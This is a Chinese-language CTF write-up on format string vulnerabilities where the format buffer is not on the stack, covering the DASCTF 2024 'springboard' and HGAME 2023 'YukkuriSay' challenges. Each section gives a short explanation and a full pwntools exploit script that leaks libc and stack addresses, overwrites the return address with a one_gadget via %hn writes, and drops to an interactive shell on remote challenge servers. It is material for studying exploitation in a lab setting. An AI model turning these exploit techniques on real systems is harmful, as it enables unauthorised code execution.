0%

非栈上格式化字符串漏洞

非栈上格式化字符串漏洞

两道例题都是泄露stack地址和libc地址,然后修改返回地址为one_gadget

[DASCTF 2024] springboard

5次机会,第一次泄露stack地址和libc地址

第二修改指针指向返回地址

第三次 找到0xff337a87788的偏移,然后就能修改返回地址的值了(这里因为不是同一次运行,所以栈地址不一样)

第四和第五次同理,因为第二次和第三次只修改了2个字节,而one_gadget 有三个字节,所以还需要再返回地址+2处再修改一次即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
context.arch = 'amd64'
#context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-e']
local_file = '/home/feichai/ctf_file/pwn'
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def start():
if args.GDB:
gdbscript = '''
b *$rebase(0x001234)
'''
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.PROCESS:
io = process(local_file)
else:
io = remote("node5.buuoj.cn",27808)

return io

def lg(s, addr):
return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')

def get_leak():
return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

def exp():

sa(b'keyword',b'%9$p%11$p')
ru(b'0x')
libc_base = int(r(12),16) - 240 - libc.symbols['__libc_start_main']
lg('libc_base',libc_base)

ru(b'0x')
stack = int(r(12),16) - 0xe0
lg('stack',stack)

og = [0x4527a,0xf03a4,0xf1247]
og = og[2] + libc_base

ret = stack & 0xffff
pd = b'%' + str(ret).encode()+ b'c%11$hn\x00'
sa(b'keyword',pd)

ret = og & 0xffff
pd = b'%' + str(ret).encode()+ b'c%37$hn\x00'
sa(b'keyword',pd)

ret = stack & 0xffff
pd = b'%' + str(ret+2).encode()+ b'c%11$hn\x00'
sa(b'keyword',pd)

ret = (og>>16) & 0xffff
pd = b'%' + str(ret).encode()+ b'c%37$hn\x00'
sa(b'keyword',pd)

io.interactive()


if __name__=='__main__':
exp()

[HGAME 2023 week2]YukkuriSay

这题和上面的差不多,第一步先用while循环和printf函数,把栈上残留的数据泄露出来,得到libc地址和stack地址,然后在栈上布置返回地址,利用格式化字符串一次修改两个字节即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
context.arch = 'amd64'
#context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-e']
local_file = '/home/feichai/ctf_file/vuln'
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def start():
if args.GDB:
gdbscript = '''
b *0x4015D2
b *0x401638
b *0x4016A9
'''
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.PROCESS:
io = process(local_file)
else:
io = remote("node5.anna.nssctf.cn",29245)

return io

def lg(s, addr):
return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

def exp():

#pause()
sa(b'say?',b'a'*0x98)
libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1ed5c0
lg('libc_base',libc_base)

sla(b'(Y/n)',b'Y')
s(b'a'*0x100)
stack = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
lg('stack',stack)

ret_addr = stack - 0x8

sla(b'(Y/n)',b'Y')
s(p64(ret_addr)+p64(ret_addr+2)+p64(ret_addr+4))

sla(b'(Y/n)',b'n')
og = [0xe3afe, 0xe3b01, 0xe3b04]
og = og[1] + libc_base

c1 = og & 0xffff
c2 = ((og >> 16) & 0xffff) + 0x10000
c3 = ((og >> 32) & 0xffff) + 0x20000

pd = b'%'+str(c1).encode()+b'c%8$hn'
pd += b'%'+str(c2 - c1).encode()+b'c%9$hn'
pd += b'%'+str(c3 - c2).encode() + b'c%10$hn'
sla(b'for you: ',pd) # 8

io.interactive()

if __name__=='__main__':
exp()
-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道